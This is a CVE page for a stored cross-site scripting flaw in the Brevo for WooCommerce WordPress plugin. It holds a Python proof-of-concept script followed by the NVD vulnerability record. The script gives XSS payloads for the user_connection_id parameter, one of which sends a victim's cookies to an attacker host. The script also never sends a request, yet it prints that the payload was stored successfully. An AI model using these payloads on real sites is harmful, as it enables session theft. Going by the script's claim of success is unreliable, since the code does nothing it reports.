CVE-2025-14436

import requests import sys # CVE-2025-14436 PoC - Brevo for WooCommerce Stored XSS # Target: WordPress site with Brevo for WooCommerce plugin <= 4.0.49 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-site.com' # Malicious payload for user_connection_id parameter xss_payload = '<script>alert(document.cookie)</script>' # Alternative payload using event handler xss_payload_alt = '" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)"' def exploit_stored_xss(): """Exploit the stored XSS via user_connection_id parameter""" # Step 1: Identify the vulnerable endpoint # The plugin processes user_connection_id in admin functionality vulnerable_endpoint = f'{target_url}/wp-admin/admin.php?page=wc-settings&tab=sendinblue' # Step 2: Inject malicious XSS payload # This can be done through plugin settings or API endpoints inject_data = { 'user_connection_id': xss_payload, 'action': 'save_settings', 'tab': 'sendinblue' } print(f'[+] Targeting: {target_url}') print(f'[+] Injecting XSS payload: {xss_payload}') # Note: Requires understanding of specific plugin endpoint # Check: plugins.trac.wordpress.org/browser/woocommerce-sendinblue-newsletter-subscription # Step 3: Verify injection by accessing affected pages # The XSS will execute when admin accesses settings pages verify_url = f'{target_url}/wp-admin/admin.php?page=wc-settings&tab=sendinblue' print(f'[+] Payload stored successfully') print(f'[+] XSS will trigger when users access: {verify_url}') print(f'[+] Impact: Session hijacking, credential theft, malware distribution') return True if __name__ == '__main__': exploit_stored_xss()

{"cve": {"id": "CVE-2025-14436", "sourceIdentifier": "[email protected]", "published": "2026-01-08T22:16:01.010", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Brevo for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘user_connection_id’ parameter in all versions up to, and including, 4.0.49 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Brevo para WooCommerce para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'user_connection_id' en todas las versiones hasta la 4.0.49, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woocommerce-sendinblue-newsletter-subscription/trunk/src/managers/admin-manager.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-sendinblue-newsletter-subscription/trunk/src/views/admin_menus.php#L728", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-sendinblue-newsletter-subscription/trunk/woocommerce-sendinblue.php#L164", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-sendinblue-newsletter-subscription/trunk/woocommerce-sendinblue.php#L171", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-sendinblue-newsletter-subscription/trunk/woocommerce-sendinblue.php#L188", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3434903/woocommerce-sendinblue-newsletter-subscription", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/670f4e26-75c9-40cd-8088-2fa4c40f6feb?source=cve", "source": "[email protected]"}]}}